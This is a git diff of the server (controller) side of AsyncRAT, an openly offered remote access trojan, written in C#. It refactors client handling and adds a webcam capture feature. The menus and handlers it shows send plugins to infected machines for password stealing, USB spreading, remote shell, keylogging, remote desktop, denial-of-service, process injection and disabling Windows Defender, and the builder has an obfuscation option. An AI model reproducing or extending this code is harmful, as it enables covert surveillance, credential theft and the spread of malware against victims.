this.uSBSpreadToolStripMenuItem1.Image = global::Server.Properties.Resources.usb; this.uSBSpreadToolStripMenuItem1.Name = "uSBSpreadToolStripMenuItem1"; - this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.uSBSpreadToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.uSBSpreadToolStripMenuItem1.Text = "USB Spread"; this.uSBSpreadToolStripMenuItem1.Click += new System.EventHandler(this.USBSpreadToolStripMenuItem1_Click); // @@ -372,7 +382,7 @@ // this.seedTorrentToolStripMenuItem1.Image = global::Server.Properties.Resources.u_torrent_logo; this.seedTorrentToolStripMenuItem1.Name = "seedTorrentToolStripMenuItem1"; - this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.seedTorrentToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.seedTorrentToolStripMenuItem1.Text = "Seed Torrent"; this.seedTorrentToolStripMenuItem1.Click += new System.EventHandler(this.SeedTorrentToolStripMenuItem1_Click_1); // @@ -380,7 +390,7 @@ // this.remoteShellToolStripMenuItem1.Image = global::Server.Properties.Resources.shell; this.remoteShellToolStripMenuItem1.Name = "remoteShellToolStripMenuItem1"; - this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.remoteShellToolStripMenuItem1.Size = new System.Drawing.Size(260, 34); this.remoteShellToolStripMenuItem1.Text = "Remote Shell"; this.remoteShellToolStripMenuItem1.Click += new System.EventHandler(this.RemoteShellToolStripMenuItem1_Click_1); // @@ -388,7 +398,7 @@ // this.dOSAttackToolStripMenuItem.Image = global::Server.Properties.Resources.ddos; this.dOSAttackToolStripMenuItem.Name = "dOSAttackToolStripMenuItem"; - this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.dOSAttackToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.dOSAttackToolStripMenuItem.Text = "DOS Attack"; this.dOSAttackToolStripMenuItem.Click += new System.EventHandler(this.DOSAttackToolStripMenuItem_Click_1); // @@ -396,7 +406,7 @@ // this.executeNETCodeToolStripMenuItem.Image = global::Server.Properties.Resources.coding; this.executeNETCodeToolStripMenuItem.Name = "executeNETCodeToolStripMenuItem"; - this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.executeNETCodeToolStripMenuItem.Size = new System.Drawing.Size(260, 34); this.executeNETCodeToolStripMenuItem.Text = "Execute .NET Code"; this.executeNETCodeToolStripMenuItem.Click += new System.EventHandler(this.ExecuteNETCodeToolStripMenuItem_Click_1); // @@ -412,7 +422,7 @@ this.disableNetStatToolStripMenuItem}); this.extraToolStripMenuItem.Image = global::Server.Properties.Resources.extra; this.extraToolStripMenuItem.Name = "extraToolStripMenuItem"; - this.extraToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.extraToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.extraToolStripMenuItem.Text = "Extra"; // // visitWebsiteToolStripMenuItem1 @@ -479,7 +489,7 @@ this.pCToolStripMenuItem}); this.systemToolStripMenuItem.Image = global::Server.Properties.Resources.system; this.systemToolStripMenuItem.Name = "systemToolStripMenuItem"; - this.systemToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.systemToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.systemToolStripMenuItem.Text = "System"; // // clientToolStripMenuItem @@ -493,46 +503,46 @@ this.showFolderToolStripMenuItem}); this.clientToolStripMenuItem.Image = global::Server.Properties.Resources.client; this.clientToolStripMenuItem.Name = "clientToolStripMenuItem"; - this.clientToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.clientToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.clientToolStripMenuItem.Text = "Client"; // // closeToolStripMenuItem1 // this.closeToolStripMenuItem1.Name = "closeToolStripMenuItem1"; - this.closeToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.closeToolStripMenuItem1.Size = new System.Drawing.Size(213, 34); this.closeToolStripMenuItem1.Text = "Close"; this.closeToolStripMenuItem1.Click += new System.EventHandler(this.CloseToolStripMenuItem1_Click); // // restartToolStripMenuItem2 // this.restartToolStripMenuItem2.Name = "restartToolStripMenuItem2"; - this.restartToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); + this.restartToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.restartToolStripMenuItem2.Text = "Restart"; this.restartToolStripMenuItem2.Click += new System.EventHandler(this.RestartToolStripMenuItem2_Click); // // updateToolStripMenuItem2 // this.updateToolStripMenuItem2.Name = "updateToolStripMenuItem2"; - this.updateToolStripMenuItem2.Size = new System.Drawing.Size(270, 34); + this.updateToolStripMenuItem2.Size = new System.Drawing.Size(213, 34); this.updateToolStripMenuItem2.Text = "Update"; this.updateToolStripMenuItem2.Click += new System.EventHandler(this.UpdateToolStripMenuItem2_Click); // // uninstallToolStripMenuItem // this.uninstallToolStripMenuItem.Name = "uninstallToolStripMenuItem"; - this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.uninstallToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.uninstallToolStripMenuItem.Text = "Uninstall"; this.uninstallToolStripMenuItem.Click += new System.EventHandler(this.UninstallToolStripMenuItem_Click); // // toolStripSeparator3 // this.toolStripSeparator3.Name = "toolStripSeparator3"; - this.toolStripSeparator3.Size = new System.Drawing.Size(267, 6); + this.toolStripSeparator3.Size = new System.Drawing.Size(210, 6); // // showFolderToolStripMenuItem // this.showFolderToolStripMenuItem.Name = "showFolderToolStripMenuItem"; - this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.showFolderToolStripMenuItem.Size = new System.Drawing.Size(213, 34); this.showFolderToolStripMenuItem.Text = "Show Folder"; this.showFolderToolStripMenuItem.Click += new System.EventHandler(this.ShowFolderToolStripMenuItem_Click); // @@ -544,40 +554,40 @@ this.shutdownToolStripMenuItem1}); this.pCToolStripMenuItem.Image = global::Server.Properties.Resources.pc; this.pCToolStripMenuItem.Name = "pCToolStripMenuItem"; - this.pCToolStripMenuItem.Size = new System.Drawing.Size(270, 34); + this.pCToolStripMenuItem.Size = new System.Drawing.Size(158, 34); this.pCToolStripMenuItem.Text = "PC"; // // logoffToolStripMenuItem1 // this.logoffToolStripMenuItem1.Name = "logoffToolStripMenuItem1"; - this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.logoffToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.logoffToolStripMenuItem1.Text = "Logoff"; this.logoffToolStripMenuItem1.Click += new System.EventHandler(this.LogoffToolStripMenuItem1_Click); // // restartToolStripMenuItem3 // this.restartToolStripMenuItem3.Name = "restartToolStripMenuItem3"; - this.restartToolStripMenuItem3.Size = new System.Drawing.Size(270, 34); + this.restartToolStripMenuItem3.Size = new System.Drawing.Size(195, 34); this.restartToolStripMenuItem3.Text = "Restart"; this.restartToolStripMenuItem3.Click += new System.EventHandler(this.RestartToolStripMenuItem3_Click); // // shutdownToolStripMenuItem1 // this.shutdownToolStripMenuItem1.Name = "shutdownToolStripMenuItem1"; - this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(270, 34); + this.shutdownToolStripMenuItem1.Size = new System.Drawing.Size(195, 34); this.shutdownToolStripMenuItem1.Text = "Shutdown"; this.shutdownToolStripMenuItem1.Click += new System.EventHandler(this.ShutdownToolStripMenuItem1_Click); // // toolStripSeparator1 // this.toolStripSeparator1.Name = "toolStripSeparator1"; - this.toolStripSeparator1.Size = new System.Drawing.Size(241, 6); + this.toolStripSeparator1.Size = new System.Drawing.Size(195, 6); // // bUILDERToolStripMenuItem // this.bUILDERToolStripMenuItem.Image = global::Server.Properties.Resources.builder; this.bUILDERToolStripMenuItem.Name = "bUILDERToolStripMenuItem"; - this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(244, 32); + this.bUILDERToolStripMenuItem.Size = new System.Drawing.Size(198, 32); this.bUILDERToolStripMenuItem.Text = "BUILDER"; this.bUILDERToolStripMenuItem.Click += new System.EventHandler(this.bUILDERToolStripMenuItem_Click); // @@ -994,6 +1004,7 @@ private System.Windows.Forms.ToolStripMenuItem getAdminPrivilegesToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableWindowsDefenderToolStripMenuItem; private System.Windows.Forms.ToolStripMenuItem disableNetStatToolStripMenuItem; + private System.Windows.Forms.ToolStripMenuItem webcamToolStripMenuItem; } } diff --git a/AsyncRAT-C#/Server/Forms/Form1.cs b/AsyncRAT-C#/Server/Forms/Form1.cs index e797df1..91b8819 100644 --- a/AsyncRAT-C#/Server/Forms/Form1.cs +++ b/AsyncRAT-C#/Server/Forms/Form1.cs @@ -1,7 +1,7 @@ using System; using System.Windows.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System.Threading.Tasks; using Microsoft.VisualBasic; using System.Linq; @@ -9,7 +9,7 @@ using System.Threading; using System.Drawing; using System.IO; using Server.Forms; -using Server.Cryptography; +using Server.Algorithm; using System.Diagnostics; using System.Net.Sockets; using Server.Handle_Packet; @@ -47,13 +47,15 @@ namespace Server { if (!File.Exists(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"))) { - File.WriteAllText(Path.Combine(Application.StartupPath, Path.GetFileName(Application.ExecutablePath) + ".config"), Properties.Resources.AsyncRAT_Sharp_exe); - Process.Start(Application.ExecutablePath); + MessageBox.Show("Missing " + Path.GetFileName(Application.ExecutablePath) + ".config"); Environment.Exit(0); } if (!File.Exists(Path.Combine(Application.StartupPath, "cGeoIp.dll"))) + { MessageBox.Show("File 'cGeoIp.dll' Not Found!"); + Environment.Exit(0); + } if (!Directory.Exists(Path.Combine(Application.StartupPath, "Stub"))) Directory.CreateDirectory(Path.Combine(Application.StartupPath, "Stub")); @@ -166,6 +168,7 @@ namespace Server Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + //GC.Collect(); } } @@ -314,7 +317,7 @@ namespace Server else { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE); } ListViewItem lv = new ListViewItem(); @@ -424,7 +427,7 @@ namespace Server ThreadPool.QueueUserWorkItem(client.Send, asyncTask.msgPack); } } - await Task.Delay(15 * 1000); + await Task.Delay(15 * 1000); //15sec per 1 task } } catch { } @@ -485,7 +488,7 @@ namespace Server { FormSendFileToMemory formSend = new FormSendFileToMemory(); formSend.ShowDialog(); - if (formSend.isOK) + if (formSend.IsOK) { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "sendMemory"; @@ -498,7 +501,7 @@ namespace Server else { msgpack.ForcePathObject("Inject").AsString = formSend.comboBox2.Text; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.Plugin); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRunPE); // github.com/Artiist/RunPE-Process-Protection } @@ -618,10 +621,13 @@ namespace Server { try { + //DLL Plugin + //msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; + //msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginDesktop); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "remoteDesktop"; msgpack.ForcePathObject("Option").AsString = "capture"; - msgpack.ForcePathObject("Quality").AsInteger = 60; + msgpack.ForcePathObject("Quality").AsInteger = 30; foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; @@ -635,8 +641,8 @@ namespace Server Name = "RemoteDesktop:" + client.ID, F = this, Text = "RemoteDesktop:" + client.ID, - C = client, - Active = true + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") }; remoteDesktop.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -670,7 +676,7 @@ namespace Server Name = "keyLogger:" + client.ID, Text = "keyLogger:" + client.ID, F = this, - C = client + Client = client }; KL.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -701,7 +707,7 @@ namespace Server Name = "chat:" + client.ID, Text = "chat:" + client.ID, F = this, - C = client + Client = client }; shell.Show(); } @@ -734,7 +740,8 @@ namespace Server Name = "fileManager:" + client.ID, Text = "fileManager:" + client.ID, F = this, - C = client + Client = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop") }; fileManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -754,13 +761,15 @@ namespace Server { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; client.LV.ForeColor = Color.Red; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black); + tabControl1.SelectedIndex = 1; } catch { } } @@ -788,7 +797,7 @@ namespace Server Name = "processManager:" + client.ID, Text = "processManager:" + client.ID, F = this, - C = client + Client = client }; processManager.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -813,6 +822,8 @@ namespace Server Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + new HandleLogs().Addmsg("Sending Botkiller..", Color.Black); + tabControl1.SelectedIndex = 1; } catch { } } @@ -826,12 +837,14 @@ namespace Server { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "usbSpread"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.HandleLimeUSB); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread); foreach (ListViewItem itm in listView1.SelectedItems) { Clients client = (Clients)itm.Tag; ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); } + new HandleLogs().Addmsg("Sending USB Spread..", Color.Black); + tabControl1.SelectedIndex = 1; } catch { } } @@ -1078,7 +1091,7 @@ namespace Server Name = "shell:" + client.ID, Text = "shell:" + client.ID, F = this, - C = client + Client = client }; shell.Show(); ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); @@ -1142,7 +1155,7 @@ namespace Server MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "recoveryPassword"; - msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib); + msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery); ListViewItem lv = new ListViewItem(); lv.Text = "Recovery Password"; lv.SubItems.Add("0"); @@ -1238,5 +1251,40 @@ namespace Server catch { } } } + + private void WebcamToolStripMenuItem_Click(object sender, EventArgs e) + { + if (listView1.SelectedItems.Count > 0) + { + try + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "webcam"; + msgpack.ForcePathObject("Command").AsString = "getWebcams"; + foreach (ListViewItem itm in listView1.SelectedItems) + { + Clients client = (Clients)itm.Tag; + this.BeginInvoke((MethodInvoker)(() => + { + FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID]; + if (remoteDesktop == null) + { + remoteDesktop = new FormWebcam + { + Name = "Webcam:" + client.ID, + F = this, + Text = "Webcam:" + client.ID, + ParentClient = client, + FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera") + }; + remoteDesktop.Show(); + ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes()); + } + })); + } + } + catch { } + } + } } } diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs index 5edeec2..380000c 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs @@ -88,8 +88,8 @@ namespace Server.Forms this.btnIcon = new System.Windows.Forms.Button(); this.picIcon = new System.Windows.Forms.PictureBox(); this.tabPage6 = new System.Windows.Forms.TabPage(); - this.btnBuild = new System.Windows.Forms.Button(); this.chkObfu = new System.Windows.Forms.CheckBox(); + this.btnBuild = new System.Windows.Forms.Button(); this.groupBox1.SuspendLayout(); this.groupBox2.SuspendLayout(); this.groupBox3.SuspendLayout(); @@ -720,6 +720,16 @@ namespace Server.Forms this.tabPage6.Text = "Build"; this.tabPage6.UseVisualStyleBackColor = true; // + // chkObfu + // + this.chkObfu.AutoSize = true; + this.chkObfu.Location = new System.Drawing.Point(18, 148); + this.chkObfu.Name = "chkObfu"; + this.chkObfu.Size = new System.Drawing.Size(166, 24); + this.chkObfu.TabIndex = 2; + this.chkObfu.Text = "Simple Obfuscator"; + this.chkObfu.UseVisualStyleBackColor = true; + // // btnBuild // this.btnBuild.Location = new System.Drawing.Point(18, 196); @@ -730,18 +740,6 @@ namespace Server.Forms this.btnBuild.UseVisualStyleBackColor = true; this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click); // - // chkObfu - // - this.chkObfu.AutoSize = true; - this.chkObfu.Checked = true; - this.chkObfu.CheckState = System.Windows.Forms.CheckState.Checked; - this.chkObfu.Location = new System.Drawing.Point(18, 148); - this.chkObfu.Name = "chkObfu"; - this.chkObfu.Size = new System.Drawing.Size(166, 24); - this.chkObfu.TabIndex = 2; - this.chkObfu.Text = "Simple Obfuscator"; - this.chkObfu.UseVisualStyleBackColor = true; - // // FormBuilder // this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F); diff --git a/AsyncRAT-C#/Server/Forms/FormBuilder.cs b/AsyncRAT-C#/Server/Forms/FormBuilder.cs index f76a66a..936b136 100644 --- a/AsyncRAT-C#/Server/Forms/FormBuilder.cs +++ b/AsyncRAT-C#/Server/Forms/FormBuilder.cs @@ -3,7 +3,7 @@ using System.Windows.Forms; using Server.Helper; using System.Text; using System.Security.Cryptography; -using Server.Cryptography; +using Server.Algorithm; using System.Security.Cryptography.X509Certificates; using System.Collections.Generic; using Vestris.ResourceLib; @@ -13,6 +13,7 @@ using System.Linq; using dnlib.DotNet.Emit; using Server.RenamingObfuscation; using System.Threading.Tasks; +using System.Diagnostics; namespace Server.Forms { diff --git a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs index 351b20b..ea4c21c 100644 --- a/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormCertificate.Designer.cs @@ -53,7 +53,7 @@ this.button1.Location = new System.Drawing.Point(11, 129); this.button1.Name = "button1"; this.button1.Size = new System.Drawing.Size(149, 39); - this.button1.TabIndex = 2; + this.button1.TabIndex = 0; this.button1.Text = "OK"; this.button1.UseVisualStyleBackColor = true; this.button1.Click += new System.EventHandler(this.Button1_Click); diff --git a/AsyncRAT-C#/Server/Forms/FormChat.cs b/AsyncRAT-C#/Server/Forms/FormChat.cs index 59c31d8..e6187fe 100644 --- a/AsyncRAT-C#/Server/Forms/FormChat.cs +++ b/AsyncRAT-C#/Server/Forms/FormChat.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using Microsoft.VisualBasic; using System; using System.Collections.Generic; @@ -17,7 +17,7 @@ namespace Server.Forms public partial class FormChat : Form { public Form1 F { get; set; } - internal Clients C { get; set; } + internal Clients Client { get; set; } private string Nickname = "Admin"; public FormChat() { @@ -32,7 +32,7 @@ namespace Server.Forms MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chatWriteInput"; msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); textBox1.Clear(); } } @@ -47,7 +47,7 @@ namespace Server.Forms Nickname = nick; MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chat"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } } @@ -55,12 +55,16 @@ namespace Server.Forms { MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "chatExit"; - ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes()); + ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes()); } private void Timer1_Tick(object sender, EventArgs e) { - if (!C.ClientSocket.Connected) this.Close(); + try + { + if (!Client.TcpClient.Connected) this.Close(); + } + catch { } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormDOS.cs b/AsyncRAT-C#/Server/Forms/FormDOS.cs index 618a7ea..f996ee4 100644 --- a/AsyncRAT-C#/Server/Forms/FormDOS.cs +++ b/AsyncRAT-C#/Server/Forms/FormDOS.cs @@ -1,5 +1,5 @@ using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; diff --git a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs index 968002c..2e08d41 100644 --- a/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs +++ b/AsyncRAT-C#/Server/Forms/FormDotNetEditor.cs @@ -11,7 +11,7 @@ using System.Threading; using System.Threading.Tasks; using System.Windows.Forms; using Server.MessagePack; -using Server.Sockets; +using Server.Connection; using FastColoredTextBoxNS; using Microsoft.CSharp; using Microsoft.VisualBasic; @@ -324,6 +324,10 @@ End Namespace { MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } + finally + { + //GC.Collect(); + } } } } diff --git a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs index 63ae70a..f891333 100644 --- a/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs +++ b/AsyncRAT-C#/Server/Forms/FormDownloadFile.cs @@ -1,4 +1,4 @@ -using Server.Sockets; +using Server.Connection; using System; using System.Collections.Generic; using System.ComponentModel; @@ -13,29 +13,30 @@ using System.IO; using System.Net.Sockets; using Timer = System.Threading.Timer; using Server.Helper; +using Server.Algorithm; namespace Server.Forms { public partial class FormDownloadFile : Form { + public Form1 F { get; set; } + internal Clients Client { get; set; } + public long FileSize = 0; + private long BytesSent = 0; + public string FullFileName; + public string ClientFullFileName; + private bool IsUpload = false; + public FormDownloadFile() { InitializeComponent(); } - - public Form1 F { get; set; } - internal Clients C { get; set; } - public long dSize = 0; - private long BytesSent = 0; - public string fullFileName; - public string clientFullFileName; - private bool isUpload = false; private void timer1_Tick(object sender, EventArgs e) { - if (!isUpload) + if (!IsUpload) { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}"; - if (C.BytesRecevied >= dSize) + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}"; + if (Client.BytesRecevied >= FileSize) { labelsize.Text = "Downloaded"; labelsize.ForeColor = Color.Green; @@ -44,8 +45,8 @@ namespace Server.Forms } else { - labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}"; - if (BytesSent >= dSize) + labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}"; + if (BytesSent >= FileSize) { labelsize.Text = "Uploaded"; labelsize.ForeColor = Color.Green; @@ -58,7 +59,7 @@ namespace Server.Forms { try { - C?.Disconnected(); + Client?.Disconnected(); timer1?.Dispose(); } catch { } @@ -66,33 +67,31 @@ namespace Server.Forms public void Send(object obj) { - lock (C.SendSync) + lock (Client.SendSync) { try { - isUpload = true; + IsUpload = true; byte[] msg = (byte[])obj; byte[] buffersize = BitConverter.GetBytes(msg.Length); - C.ClientSocket.Poll(-1, SelectMode.SelectWrite); - C.ClientSslStream.Write(buffersize); - C.ClientSslStream.Flush(); + Client.TcpClient.Poll(-1, SelectMode.SelectWrite); + Client.SslClient.Write(buffersize); + Client.SslClient.Flush(); int chunkSize = 50 * 1024; byte[] chunk = new byte[chunkSize]; using (MemoryStream buffereReader = new MemoryStream(msg)) + using (BinaryReader binaryReader = new BinaryReader(buffereReader)) { - BinaryReader binaryReader = new BinaryReader(buffereReader); int bytesToRead = (int)buffereReader.Length; do { chunk = binaryReader.ReadBytes(chunkSize); bytesToRead -= chunkSize; - C.ClientSslStream.Write(chunk); - C.ClientSslStream.Flush(); + Client.SslClient.Write(chunk); + Client.SslClient.Flush(); BytesSent += chunk.Length; } while (bytesToRead > 0); - - binaryReader.Close(); - C?.Disconnected(); + Client?.Disconnected(); } Program.form1.BeginInvoke((MethodInvoker)(() => { @@ -101,7 +100,12 @@ namespace Server.Forms } catch { - C?.Disconnected(); + Client?.Disconnected(); + Program.form1.BeginInvoke((MethodInvoker)(() => + { + labelsize.Text = "Error"; + labelsize.ForeColor = Color.Red; + })); } } } diff --git a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs index 014e30c..37d2b7a 100644 --- a/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs +++ b/AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs @@ -39,6 +39,9 @@ this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.userProfileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); + this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator(); + this.driversListsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator(); this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); @@ -55,6 +58,8 @@ this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel(); this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel(); this.timer1 = new System.Windows.Forms.Timer(this.components); + this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator(); + this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem(); this.contextMenuStrip1.SuspendLayout(); this.statusStrip1.SuspendLayout(); this.SuspendLayout(); @@ -97,21 +102,23 @@ this.pasteToolStripMenuItem, this.dELETEToolStripMenuItem, this.toolStripSeparator4, - this.createFolderToolStripMenuItem}); + this.createFolderToolStripMenuItem, + this.toolStripSeparator3, + this.openClientFolderToolStripMenuItem}); this.contextMenuStrip1.Name = "contextMenuStrip1"; - this.contextMenuStrip1.Size = new System.Drawing.Size(190, 368); + this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439); // // backToolStripMenuItem // this.backToolStripMenuItem.Name = "backToolStripMenuItem"; - this.backToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.backToolStripMenuItem.Text = "Back"; this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click); // // rEFRESHToolStripMenuItem // this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem"; - this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.rEFRESHToolStripMenuItem.Text = "Refresh"; this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click); // @@ -119,88 +126,110 @@ // this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] { this.dESKTOPToolStripMenuItem, - this.aPPDATAToolStripMenuItem}); + this.aPPDATAToolStripMenuItem, + this.userProfileToolStripMenuItem, + this.toolStripSeparator2, + this.driversListsToolStripMenuItem}); this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem"; - this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(189, 32); + this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32); this.gOTOToolStripMenuItem.Text = "Go To"; // // dESKTOPToolStripMenuItem // this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem"; - this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(192, 34); - this.dESKTOPToolStripMenuItem.Text = "DESKTOP"; + this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.dESKTOPToolStripMenuItem.Text = "Desktop"; this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click); // // aPPDATAToolStripMenuItem // this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem"; - this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(192, 34); - this.aPPDATAToolStripMenuItem.Text = "APPDATA"; + this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(204, 34); + this.aPPDATAToolStripMenuItem.Text = "AppData"; this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click); // + // 